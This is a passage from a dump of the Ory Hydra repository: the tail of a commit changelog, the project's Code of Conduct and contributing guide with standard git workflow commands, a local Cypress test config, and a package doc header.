([b2d3e06](https://github.com/ory/hydra/commit/b2d3e0665d2f9769b9e64dd5fe1ed6127d8fac89)) * Added mock for easier testing ([fe25be6](https://github.com/ory/hydra/commit/fe25be6737977a34f18c922392fc0bdbecebf749)) * Added mock for easier testing ([c4c1166](https://github.com/ory/hydra/commit/c4c1166668b88ad2f5ca082a5c53c7fad920588d)) * Added policy endpoint to host process ([c62cec5](https://github.com/ory/hydra/commit/c62cec534480b986de38bcfed76aa3320413e25d)) * Added port and host env var descriptions ([c32ac10](https://github.com/ory/hydra/commit/c32ac1081445359102ef97c036361b4ec9eb24ed)) * Added possibility to skip CA check ([09094f4](https://github.com/ory/hydra/commit/09094f401c33dd3bee72b46057648eabed1dafba)) * Added procfile ([1a38744](https://github.com/ory/hydra/commit/1a387440a0d89938f9caaf45348831e4b60b4129)) * Added start, client create and user create ([69d39ca](https://github.com/ory/hydra/commit/69d39ca1914a2af09891e66a7035036f3c2c9c33)) * Added status section ([cea52c6](https://github.com/ory/hydra/commit/cea52c6c097895f89faf86a5ed97309c698142c8)) * Added vagrant, fixed minor issues, added login capabilities, added examples ([b79b547](https://github.com/ory/hydra/commit/b79b54737af3840731cd8fd5458ad0ad79ae0dda)) * Allow loading certificates directly from env vars ([62ecd3d](https://github.com/ory/hydra/commit/62ecd3d73a4900e2f22b3b7b18c31a151638dc11)) * Always return non-nil error when validation fails. ([aca141d](https://github.com/ory/hydra/commit/aca141d415eae4ea76bfd6d2f0a347254454dd2a)) * Attached policy handler to router ([2d15cd7](https://github.com/ory/hydra/commit/2d15cd7af4cf3c1038dc9871a50a6b2d0098ad53)) * Authorization requests now properly set the code token subject ([df189d6](https://github.com/ory/hydra/commit/df189d6573c9fbf34d6634fa50ca0a09e4951197)) * Badgemania ([bb02665](https://github.com/ory/hydra/commit/bb026655c805868cac394d900235cd49088170b9)) * Beta preparations ([5ab50dc](https://github.com/ory/hydra/commit/5ab50dc7254764f8bc75bb3a26710a94133161d8)) * Clarified storage message ([8b9d41e](https://github.com/ory/hydra/commit/8b9d41e50d4d08f4639dd867bc49132ab52e106a)) * Cleanup ([0621e1a](https://github.com/ory/hydra/commit/0621e1ad6640143e3af5762d1f28c927638cbed0)) * Cleanup ([0fb905e](https://github.com/ory/hydra/commit/0fb905e470787b60f70e997edb30881e2b1aff19)) * Cleanup and issue resolving ([29c943f](https://github.com/ory/hydra/commit/29c943f6ce4446d4b6f39aad1ab0ca10356ea87e)) * Client libraries and refactoring ([e77940f](https://github.com/ory/hydra/commit/e77940fb7269b7434681452d4b2b5d6e993349ee)) * Client middleware works now ([18d46f8](https://github.com/ory/hydra/commit/18d46f8078c5f2ab6f4fc397b8a9c6c110dd6700)) * Connect to rethinkdb with custom root certificate ([#116](https://github.com/ory/hydra/issues/116)) ([74432b0](https://github.com/ory/hydra/commit/74432b071c4c52fdb985a7c716c5ddb0d5555ab6)): * Connect to rethinkdb with a custom certificate * Test importRethinkDBRootCA Signed-off-by: Matteo Suppo <[email protected]> * Move backend_connections tests Signed-off-by: Matteo Suppo <[email protected]> * Create MAINTAINERS ([adefff9](https://github.com/ory/hydra/commit/adefff99216e896c796ab08d3f6dec7d0f9f4e21)) * Created provider handler ([9338754](https://github.com/ory/hydra/commit/9338754fa1433d3b1acc1b0c3206c1d671385af8)) * Database connection is now only opened when required. ([6ac8de5](https://github.com/ory/hydra/commit/6ac8de53b863c07291e94ebb0e289da45b6438cc)) * DROPBOX_CALLBACK's default value is now smarter ([5f6457b](https://github.com/ory/hydra/commit/5f6457b886253da53b658ef689ac46a638763d49)) * Export AuthKey ([0bec260](https://github.com/ory/hydra/commit/0bec260748703eb9049229669c540de739520721)) * Fix broken link in TOC ([b40beda](https://github.com/ory/hydra/commit/b40beda9aa5df7febccda944ec56e21ddd841264)) * Fix client.GetClients() for multiple clients ([#151](https://github.com/ory/hydra/issues/151)) ([93dc837](https://github.com/ory/hydra/commit/93dc837490fcaf700302af18920c814260c9d1cc)), closes [#150](https://github.com/ory/hydra/issues/150) * Fix idiom ([ebfc9a9](https://github.com/ory/hydra/commit/ebfc9a9a7ab33d1831e14434603ef101bc6a79dd)): "What it looks like", not "how it looks like" (Very common mistake) * Fix osin.CheckBasicAuth return value inconsistency ([57d5427](https://github.com/ory/hydra/commit/57d5427d64bad49e8cf7683ee80d371a791198af)) * Fix typo ([#100](https://github.com/ory/hydra/issues/100)) ([3ca01db](https://github.com/ory/hydra/commit/3ca01db2bcbcd40ae57731967931be4731576d09)) * Fix typo in exemplary policy ([386fb0c](https://github.com/ory/hydra/commit/386fb0caf3fd3a7209181e4c04f5c7befd3e8120)) * Fix typos ([873a816](https://github.com/ory/hydra/commit/873a816e6fa298f9a2f64eb11a44220f26362f90)) * Fix typos in exemplary policies ([#112](https://github.com/ory/hydra/issues/112)) ([5b44457](https://github.com/ory/hydra/commit/5b444573008dd228efb56f4b82250dabee4677b7)) * Fixed default TLS and JWT filepaths ([53827a2](https://github.com/ory/hydra/commit/53827a2c4d0d02807e5ad6893046f38b677df18d)) * Fixed environment issues ([d816e92](https://github.com/ory/hydra/commit/d816e9242934ce3ea25b48d391f994606c4e437f)) * Fixed error response ([f2ee621](https://github.com/ory/hydra/commit/f2ee621f789d8d3e55a7862262de0ab53f97a451)) * Fixed issue when account is not existing ([741ee9f](https://github.com/ory/hydra/commit/741ee9f23101570d706756450f2c53961b5aafac)) * Fixed nil pointer issue ([7695692](https://github.com/ory/hydra/commit/769569219548e4f04d2b493ea8947aafebf7857f)) * Fixed nil pointer issue ([f09bc08](https://github.com/ory/hydra/commit/f09bc08d152a98eba5a31b9266c3b65237b17520)) * Fixed null pointer in cli call to oauthHandler ([e7a827f](https://github.com/ory/hydra/commit/e7a827f3b7adf4a91c46afa8e918da34580e2b43)) * Fixed permission typo and tests ([5a4ec4a](https://github.com/ory/hydra/commit/5a4ec4ab6968df4ca53a415a7ec1ea1f7974ae89)) * Fixed smaller bugs and typos in RethinkDB and PostgreSQL. ([aebd9d6](https://github.com/ory/hydra/commit/aebd9d61c939e3e56cf8363c5f969d7f3bb68694)), closes [#53](https://github.com/ory/hydra/issues/53) * Fixed tests on linux hosts ([82c7431](https://github.com/ory/hydra/commit/82c74319d223e4e9c1143f5cd015001058be5501)) * Fixed typos, improved instructions ([546a109](https://github.com/ory/hydra/commit/546a1094d1acbc3ba4b61afaacbc8f699944cdd6)) * Fosite note ([f09cf2d](https://github.com/ory/hydra/commit/f09cf2dedfc5ef888efee40f1da47fa4668ccf51)) * Go highlight code examples ([3d59681](https://github.com/ory/hydra/commit/3d59681d8006c79bc18838a78c0bcc203c9c8bef)) * Godep cleanup ([a43a6fc](https://github.com/ory/hydra/commit/a43a6fc443173c7c9d329267c418fff562578c62)) * Godep save ([2b0df43](https://github.com/ory/hydra/commit/2b0df43ec06eb4472f5cf446ddb2296392211575)) * Godep save ([42335ee](https://github.com/ory/hydra/commit/42335eee937a23e67e32696c6b64abea847122d1)) * Godep save ([1b84d53](https://github.com/ory/hydra/commit/1b84d538f5bac3a4b03c6a7f4194ad90b8df1fce)) * Godep save ([560a6a0](https://github.com/ory/hydra/commit/560a6a06eff252ee693fc58cfbc7d56f31fd47a7)) * Godep update ([e4e9b03](https://github.com/ory/hydra/commit/e4e9b0316fd1977773eb8fc0937db596f9474df8)) * Godep update ([aac79e9](https://github.com/ory/hydra/commit/aac79e9bb136a7ded5a74d1f319971a996598057)) * Godir ([988824d](https://github.com/ory/hydra/commit/988824dd76246b389558001699c1ac32f2f1a0ba)) * Gofmt ([ae5b637](https://github.com/ory/hydra/commit/ae5b637364271b27c9fcfceeecc717c79ee48b04)) * Gofmt ([46bcfda](https://github.com/ory/hydra/commit/46bcfda4af419b8ccd6aab0a946f8e00f96600b0)) * Gofmt ([1a6aba1](https://github.com/ory/hydra/commit/1a6aba11823d8bdee73695f6bcfddf0375dc6214)) * Goimports ([9b51600](https://github.com/ory/hydra/commit/9b516002d04c3fd84ec9fac214f937f891d53829)) * Handler updates and tests ([911fc88](https://github.com/ory/hydra/commit/911fc883d36dadfe5f64c8593fe4f0aee8aab1f8)) * HTTP/2 + TLS support, refactored jwt and tls commands ([e5b5a47](https://github.com/ory/hydra/commit/e5b5a471897fe5fd63da4261ce165973b7ab8de2)) * HttpErrorHandler is now WriteError ([a3f809f](https://github.com/ory/hydra/commit/a3f809f9abdb4c979d5f508c476080a294189cd2)) * Implemented hash and account ([4c345d3](https://github.com/ory/hydra/commit/4c345d3f4d72878477c6afaf2fb0ffda4459d87e)) * Implemented jwt, middleware, test coverage and handlers. ([10ba9ef](https://github.com/ory/hydra/commit/10ba9ef2dd96d87fce45dfb3ad8d78fde0da3e47)) * Implemented provider "sso" flow ([6f365ff](https://github.com/ory/hydra/commit/6f365ff911697f382a675de0e117a5da3dd26c9a)) * Improve installation guide ([#131](https://github.com/ory/hydra/issues/131)) ([c0cbf09](https://github.com/ory/hydra/commit/c0cbf09d1a936c5b641e26d9a31e082581d603cb)) * Improved cli options, improved provider workflow ([f1021e8](https://github.com/ory/hydra/commit/f1021e878bcf3473eb3e91154954455e82f49273)) * Improved provider workflow and resolved dropbox issues ([d8f2c03](https://github.com/ory/hydra/commit/d8f2c03137fecee6a0b648bc2c250e61b8c75c91)) * Improved signature ([0358b6b](https://github.com/ory/hydra/commit/0358b6bedd0522ef99c65785727131d39c5c119c)) * Improved tests ([5359952](https://github.com/ory/hydra/commit/5359952200fb1dc1ea1198c8ed56779ed6ecec88)) * Increased coverage ([e20043b](https://github.com/ory/hydra/commit/e20043b69d23c66b22ce0c349cd6ee9c2a7caf87)) * Increased test coverage ([5b4f6ac](https://github.com/ory/hydra/commit/5b4f6ac583bf7d1399c2bd4a220447f07523a04f)) * Linked assertion todo to [#29](https://github.com/ory/hydra/issues/29) ([a6c8beb](https://github.com/ory/hydra/commit/a6c8beba95d2dea5028c3712616a6ceedaa8bb16)) * Log refactoring ([90a0a8c](https://github.com/ory/hydra/commit/90a0a8c4ea74803266997bda2f5e55d679426a69)) * Make access token lifetime configurable ([2f69644](https://github.com/ory/hydra/commit/2f69644fd4b0b789123fc54d0710b7bfb1535f5b)) * Migrated ladon policy struct changes ([1d97e00](https://github.com/ory/hydra/commit/1d97e00762ab981f5b5a18b4d3bb96a78acbc9a5)) * Minor grammar/spelling fixes ([#144](https://github.com/ory/hydra/issues/144)) ([1c87dc9](https://github.com/ory/hydra/commit/1c87dc9e772492ae065aa1f59d55268b30a1cdff)) * Mocks and tests ([848d6db](https://github.com/ory/hydra/commit/848d6db75521963dbf7118b04d16e6a5ab2cd7d5)) * Mount warden handler ([#110](https://github.com/ory/hydra/issues/110)) ([127db0a](https://github.com/ory/hydra/commit/127db0a8555cb541b8ff04256683f25a929530f3)) * Moved package pkg to ory-am/common ([71d870b](https://github.com/ory/hydra/commit/71d870b561790fae54160f53907a8880121e228d)) * New concept, moved backend to postgres, added tests, cleaned up legacy code ([a48297d](https://github.com/ory/hydra/commit/a48297db6b0b0260bca6b54cd2c3ebe72a10b8e1)) * New go vendor format ([fa710a8](https://github.com/ory/hydra/commit/fa710a82a57fddfb478db73ffd9820b0101a2239)) * Now ContextAdapter is chainable, decreasing middleare code complexity a lot. ([e6e3799](https://github.com/ory/hydra/commit/e6e3799a2687440e681701912c0f72a0e37ec30a)): Chainable model is inspired by https://github.com/justinas/alice * Now tries to refresh when token is invalid ([29c16dc](https://github.com/ory/hydra/commit/29c16dc977ebb46b0288606e17cb9634b6fe5f5d)) * Oauth and guard endpoints now accept basic auth instead of token auth. ([7d6b191](https://github.com/ory/hydra/commit/7d6b19103aaa6606171a75307bdf454cc0a0ce8b)) * Policy import ([3afd199](https://github.com/ory/hydra/commit/3afd199757f471bc5675244860e96aa1aace7634)) * Print out newlines at string end ([0a0ff98](https://github.com/ory/hydra/commit/0a0ff9834356dcbed63e3555c8d026176f8057b8)) * Refactor, more endpoints and tests ([ff69586](https://github.com/ory/hydra/commit/ff6958616f73b98946d70dad064b4193dc1bad8b)) * Refactored the DATABASE_URL to accept given database technology instead of using an extra environment variable DATABASE (as per discussions in [#53](https://github.com/ory/hydra/issues/53)). ([c9ef33d](https://github.com/ory/hydra/commit/c9ef33da8e412a2c3687a94b1eb7a8d7095eda78)) * Refactored usage and added tests ([9fd1676](https://github.com/ory/hydra/commit/9fd1676fd3b5708968a329751ee5f69ff288a55a)) * Refactoring, added introspection ([adec4ae](https://github.com/ory/hydra/commit/adec4ae308824e0c3aa6128833c038a0b9fb6a99)) * Remove godeps and keep removed until release ([6a2176a](https://github.com/ory/hydra/commit/6a2176aadd8f89c6f4b875631e70553723cb6779)) * Remove http2 dependency ([1c8c770](https://github.com/ory/hydra/commit/1c8c77094b48d58f78b60c47482c36ff048fca18)) * Remove wait time on boot and use restart unless-stopped option instead ([#105](https://github.com/ory/hydra/issues/105)) ([eb72850](https://github.com/ory/hydra/commit/eb7285085fe37ad6b3792a116795b1b21bdaa67e)) * Removed skipping of CA checks and instead added option to use HTTP without TLS ([6f3411a](https://github.com/ory/hydra/commit/6f3411abc27f0b74cfc8e9aa719235e2bcb36e2b)) * Resolve date and scope issues ([24d34b3](https://github.com/ory/hydra/commit/24d34b312ee95f82def54d9f6a48e1cf3f5e3902)), closes [#126](https://github.com/ory/hydra/issues/126) [#125](https://github.com/ory/hydra/issues/125) [#124](https://github.com/ory/hydra/issues/124) * Resolve issues with the sdk and cli, set scopes in token user cmd ([#142](https://github.com/ory/hydra/issues/142)) ([b8673b7](https://github.com/ory/hydra/commit/b8673b728ceb288667d123b2ef81ddfd06f2d985)), closes [#141](https://github.com/ory/hydra/issues/141) [#137](https://github.com/ory/hydra/issues/137) [#138](https://github.com/ory/hydra/issues/138) * Resolve race condition ([0a17528](https://github.com/ory/hydra/commit/0a1752898de3ed5470c19d092a0a1556ae8cd71e)) * Resolve rethinkdb and warden endpoint issues ([ac7710d](https://github.com/ory/hydra/commit/ac7710db583b429ea3a8f0c7bcd79b432d091446)), closes [#122](https://github.com/ory/hydra/issues/122) [#121](https://github.com/ory/hydra/issues/121): * rethinkdb: resolve an issue where missing refresh tokens cause duplicate key error * Resolve too many open files issue ([6e9b681](https://github.com/ory/hydra/commit/6e9b681b73c3978b4dce28cc7be23a1422c90e26)), closes [#47](https://github.com/ory/hydra/issues/47) * Resolved remaining issues with jwt and middlewares ([bfcd40f](https://github.com/ory/hydra/commit/bfcd40f128ced7961ab497251ea45e216608fc2d)) * Resolved that secrets can not be set when using http or cli ([#102](https://github.com/ory/hydra/issues/102)) ([8dc1e1f](https://github.com/ory/hydra/commit/8dc1e1f92ce86ef8aa7d458528813cd60007ba0e)) * Return client secret on POST and remove it from GET ([#117](https://github.com/ory/hydra/issues/117)) ([8ab555d](https://github.com/ory/hydra/commit/8ab555deef095b7f8b1bd1b7418eace3108b29e3)), closes [#113](https://github.com/ory/hydra/issues/113) * Revert ([1e23f45](https://github.com/ory/hydra/commit/1e23f45e9aade58587b6a0fdb9d99a2928749e28)) * Set keep alive, close [#146](https://github.com/ory/hydra/issues/146) ([7075f63](https://github.com/ory/hydra/commit/7075f63fd3ca5e28dd3cc6bb2cddd9526c64c3d7)) * Test cleaup ([219318a](https://github.com/ory/hydra/commit/219318a03edf344ce4f299f510009a996360983c)) * Test for errors ([d981f52](https://github.com/ory/hydra/commit/d981f52f30cf0bcd33bf5ff1e6e379d5ee41b0c9)) * Tests are now more verbose and fixed issues in tests ([b7a9916](https://github.com/ory/hydra/commit/b7a9916efe7b209b3a6f63350daae7af2356f2c0)) * Tests have to wait for database to be booted ([a5ad3fb](https://github.com/ory/hydra/commit/a5ad3fb3950c67f28684f0ad8ecb320485033fb7)) * Tls should also allow certificates from env ([89e8922](https://github.com/ory/hydra/commit/89e89225c0ec9556c774d6eb89dd62f4accb4ff7)) * Update cli usage ([2863e25](https://github.com/ory/hydra/commit/2863e251459e2a880f41d3e5fcf5be770187ae7f)) * Update faq section ([b11a44d](https://github.com/ory/hydra/commit/b11a44de2298665cb5e0577484e08fcaf2371e0f)) * Update jwt-go to versioned package and update dependencies ([#111](https://github.com/ory/hydra/issues/111)) ([fc2ad6a](https://github.com/ory/hydra/commit/fc2ad6a9e71a16387df35b912ad1487c1d9aa45e)) * Update performance section ([1e48e18](https://github.com/ory/hydra/commit/1e48e1819672fada95d8b24251d12cd883ba61fc)) * Update sections on environment variables ([f441885](https://github.com/ory/hydra/commit/f44188539c297e4b4d2e9679cefe701c08b63ea0)) * Updates ([ea2196f](https://github.com/ory/hydra/commit/ea2196fc44ddc99288e7c2d00dfa7ea1cc1c252b)) * Username instead of email, token revocation, introspect spec alignments, more tests ([3994ef0](https://github.com/ory/hydra/commit/3994ef064417533b4d71cbdf003b9cd77841f17d)) * Username instead of email, token revocation, introspect spec alignments, more tests ([1585866](https://github.com/ory/hydra/commit/15858662c7d26eacc94f562d7fe63750c9c0189b))
Markdown
hydra/CODE_OF_CONDUCT.md
<!-- AUTO-GENERATED, DO NOT EDIT! --> <!-- Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/CODE_OF_CONDUCT.md --> # Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, caste, color, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community include: - Demonstrating empathy and kindness toward other people - Being respectful of differing opinions, viewpoints, and experiences - Giving and gracefully accepting constructive feedback - Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience - Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: - The use of sexualized language or imagery, and sexual attention or advances of any kind - Trolling, insulting or derogatory comments, and personal or political attacks - Public or private harassment - Publishing others' private information, such as a physical or email address, without their explicit permission - Other conduct which could reasonably be considered inappropriate in a professional setting ## Open Source Community Support Ory Open source software is collaborative and based on contributions by developers in the Ory community. There is no obligation from Ory to help with individual problems. If Ory open source software is used in production in a for-profit company or enterprise environment, we mandate a paid support contract where Ory is obligated under their service level agreements (SLAs) to offer a defined level of availability and responsibility. For more information about paid support please contact us at [email protected]. ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at [[email protected]](mailto:[email protected]). All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.1, available at [https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder][mozilla coc]. For answers to common questions about this code of conduct, see the FAQ at [https://www.contributor-covenant.org/faq][faq]. Translations are available at [https://www.contributor-covenant.org/translations][translations]. [homepage]: https://www.contributor-covenant.org [v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html [mozilla coc]: https://github.com/mozilla/diversity [faq]: https://www.contributor-covenant.org/faq [translations]: https://www.contributor-covenant.org/translations
Markdown
hydra/CONTRIBUTING.md
<!-- AUTO-GENERATED, DO NOT EDIT! --> <!-- Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/CONTRIBUTING.md --> # Contribute to Ory Hydra<!-- omit in toc --> <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> - [Introduction](#introduction) - [FAQ](#faq) - [How can I contribute?](#how-can-i-contribute) - [Communication](#communication) - [Contribute examples](#contribute-examples) - [Contribute code](#contribute-code) - [Contribute documentation](#contribute-documentation) - [Disclosing vulnerabilities](#disclosing-vulnerabilities) - [Code style](#code-style) - [Working with forks](#working-with-forks) - [Conduct](#conduct) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## Introduction _Please note_: We take Ory Hydra's security and our users' trust very seriously. If you believe you have found a security issue in Ory Hydra, please disclose it by contacting us at [email protected]. There are many ways in which you can contribute. The goal of this document is to provide a high-level overview of how you can get involved in Ory. As a potential contributor, your changes and ideas are welcome at any hour of the day or night, on weekdays, weekends, and holidays. Please do not ever hesitate to ask a question or send a pull request. If you are unsure, just ask or submit the issue or pull request anyways. You won't be yelled at for giving it your best effort. The worst that can happen is that you'll be politely asked to change something. We appreciate any sort of contributions and don't want a wall of rules to get in the way of that. That said, if you want to ensure that a pull request is likely to be merged, talk to us! You can find out our thoughts and ensure that your contribution won't clash with Ory Hydra's direction. A great way to do this is via [Ory Hydra Discussions](https://github.com/ory/hydra/discussions) or the [Ory Chat](https://www.ory.sh/chat). ## FAQ - I am new to the community. Where can I find the [Ory Community Code of Conduct?](https://github.com/ory/hydra/blob/master/CODE_OF_CONDUCT.md) - I have a question. Where can I get [answers to questions regarding Ory Hydra?](#communication) - I would like to contribute but I am not sure how. Are there [easy ways to contribute?](#how-can-i-contribute) [Or good first issues?](https://github.com/search?l=&o=desc&q=label%3A%22help+wanted%22+label%3A%22good+first+issue%22+is%3Aopen+user%3Aory+user%3Aory-corp&s=updated&type=Issues) - I want to talk to other Ory Hydra users. [How can I become a part of the community?](#communication) - I would like to know what I am agreeing to when I contribute to Ory Hydra. Does Ory have [a Contributors License Agreement?](https://cla-assistant.io/ory/hydra) - I would like updates about new versions of Ory Hydra. [How are new releases announced?](https://ory.us10.list-manage.com/subscribe?u=ffb1a878e4ec6c0ed312a3480&id=f605a41b53) ## How can I contribute? If you want to start to contribute code right away, take a look at the [list of good first issues](https://github.com/ory/hydra/labels/good%20first%20issue). There are many other ways you can contribute. Here are a few things you can do to help out: - **Give us a star.** It may not seem like much, but it really makes a difference. This is something that everyone can do to help out Ory Hydra. Github stars help the project gain visibility and stand out. - **Join the community.** Sometimes helping people can be as easy as listening to their problems and offering a different perspective. Join our Slack, have a look at discussions in the forum and take part in community events. More info on this in [Communication](#communication). - **Answer discussions.** At all times, there are several unanswered discussions on GitHub. You can see an [overview here](https://github.com/discussions?discussions_q=is%3Aunanswered+org%3Aory+sort%3Aupdated-desc). If you think you know an answer or can provide some information that might help, please share it! Bonus: You get GitHub achievements for answered discussions. - **Help with open issues.** We have a lot of open issues for Ory Hydra and some of them may lack necessary information, some are duplicates of older issues. You can help out by guiding people through the process of filling out the issue template, asking for clarifying information or pointing them to existing issues that match their description of the problem. - **Review documentation changes.** Most documentation just needs a review for proper spelling and grammar. If you think a document can be improved in any way, feel free to hit the `edit` button at the top of the page. More info on contributing to the documentation [here](#contribute-documentation). - **Help with tests.** Pull requests may lack proper tests or test plans. These are needed for the change to be implemented safely. ## Communication We use [Slack](https://www.ory.sh/chat). You are welcome to drop in and ask questions, discuss bugs and feature requests, talk to other users of Ory, etc. Check out [Ory Hydra Discussions](https://github.com/ory/hydra/discussions). This is a great place for in-depth discussions and lots of code examples, logs and similar data. You can also join our community calls if you want to speak to the Ory team directly or ask some questions. You can find more info and participate in [Slack](https://www.ory.sh/chat) in the #community-call channel. If you want to receive regular notifications about updates to Ory Hydra, consider joining the mailing list. We will _only_ send you vital information on the projects that you are interested in. Also, [follow us on Twitter](https://twitter.com/orycorp). ## Contribute examples One of the most impactful ways to contribute is by adding examples. You can find an overview of examples using Ory services on the [documentation examples page](https://www.ory.sh/docs/examples). Source code for examples can be found in most cases in the [ory/examples](https://github.com/ory/examples) repository. _If you would like to contribute a new example, we would love to hear from you!_ Please [open an issue](https://github.com/ory/examples/issues/new/choose) to describe your example before you start working on it. We would love to provide guidance to make for a pleasant contribution experience. Go through this checklist to contribute an example: 1. Create a GitHub issue proposing a new example and make sure it's different from an existing one. 1. Fork the repo and create a feature branch off of `master` so that changes do not get mixed up. 1. Add a descriptive prefix to commits. This ensures a uniform commit history and helps structure the changelog. Please refer to this [list of prefixes for Hydra](https://github.com/ory/hydra/blob/master/.github/semantic.yml) for an overview. 1. Create a `README.md` that explains how to use the example. (Use [the README template](https://github.com/ory/examples/blob/master/_common/README)). 1. Open a pull request and maintainers will review and merge your example. ## Contribute code Unless you are fixing a known bug, we **strongly** recommend discussing it with the core team via a GitHub issue or [in our chat](https://www.ory.sh/chat) before getting started to ensure your work is consistent with Ory Hydra's roadmap and architecture. All contributions are made via pull requests. To make a pull request, you will need a GitHub account; if you are unclear on this process, see GitHub's documentation on [forking](https://help.github.com/articles/fork-a-repo) and [pull requests](https://help.github.com/articles/using-pull-requests). Pull requests should be targeted at the `master` branch. Before creating a pull request, go through this checklist: 1. Create a feature branch off of `master` so that changes do not get mixed up. 1. [Rebase](http://git-scm.com/book/en/Git-Branching-Rebasing) your local changes against the `master` branch. 1. Run the full project test suite with the `go test -tags sqlite ./...` (or equivalent) command and confirm that it passes. 1. Run `make format` 1. Add a descriptive prefix to commits. This ensures a uniform commit history and helps structure the changelog. Please refer to this [list of prefixes for Hydra](https://github.com/ory/hydra/blob/master/.github/semantic.yml) for an overview. If a pull request is not ready to be reviewed yet [it should be marked as a "Draft"](https://docs.github.com/en/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request). Before your contributions can be reviewed you need to sign our [Contributor License Agreement](https://cla-assistant.io/ory/hydra). This agreement defines the terms under which your code is contributed to Ory. More specifically it declares that you have the right to, and actually do, grant us the rights to use your contribution. You can see the Apache 2.0 license under which our projects are published [here](https://github.com/ory/meta/blob/master/LICENSE). When pull requests fail the automated testing stages (for example unit or E2E tests), authors are expected to update their pull requests to address the failures until the tests pass. Pull requests eligible for review 1. follow the repository's code formatting conventions; 2. include tests that prove that the change works as intended and does not add regressions; 3. document the changes in the code and/or the project's documentation; 4. pass the CI pipeline; 5. have signed our [Contributor License Agreement](https://cla-assistant.io/ory/hydra); 6. include a proper git commit message following the [Conventional Commit Specification](https://www.conventionalcommits.org/en/v1.0.0/). If all of these items are checked, the pull request is ready to be reviewed and you should change the status to "Ready for review" and [request review from a maintainer](https://docs.github.com/en/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). Reviewers will approve the pull request once they are satisfied with the patch. ## Contribute documentation Please provide documentation when changing, removing, or adding features. All Ory Documentation resides in the [Ory documentation repository](https://github.com/ory/docs/). For further instructions please head over to the Ory Documentation [README.md](https://github.com/ory/docs/blob/master/README.md). ## Disclosing vulnerabilities Please disclose vulnerabilities exclusively to [[email protected]](mailto:[email protected]). Do not use GitHub issues. ## Code style Please run `make format` to format all source code following the Ory standard. ### Working with forks ```bash # First you clone the original repository git clone [email protected]:ory/ory/hydra.git # Next you add a git remote that is your fork: git remote add fork [email protected]:<YOUR-GITHUB-USERNAME-HERE>/ory/hydra.git # Next you fetch the latest changes from origin for master: git fetch origin git checkout master git pull --rebase # Next you create a new feature branch off of master: git checkout my-feature-branch # Now you do your work and commit your changes: git add -A git commit -a -m "fix: this is the subject line" -m "This is the body line. Closes #123" # And the last step is pushing this to your fork git push -u fork my-feature-branch ``` Now go to the project's GitHub Pull Request page and click "New pull request" ## Conduct Whether you are a regular contributor or a newcomer, we care about making this community a safe place for you and we've got your back. [Ory Community Code of Conduct](https://github.com/ory/hydra/blob/master/CODE_OF_CONDUCT.md) We welcome discussion about creating a welcoming, safe, and productive environment for the community. If you have any questions, feedback, or concerns [please let us know](https://www.ory.sh/chat).
JSON
hydra/cypress.json
{ "env": { "public_url": "http://127.0.0.1:5004", "admin_url": "http://127.0.0.1:5001", "consent_url": "http://127.0.0.1:5002", "client_url": "http://127.0.0.1:5003", "public_port": "5004", "client_port": "5003", "jwt_enabled": false }, "chromeWebSecurity": false, "retries": { "runMode": 3, "openMode": 1 }, "timeouts": { "defaultCommandTimeout": 10000, "requestTimeout": 10000 }, "projectId": "jrwjzp" }
Go
hydra/doc.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 // Package main ORY Hydra package main
hydra/go.mod
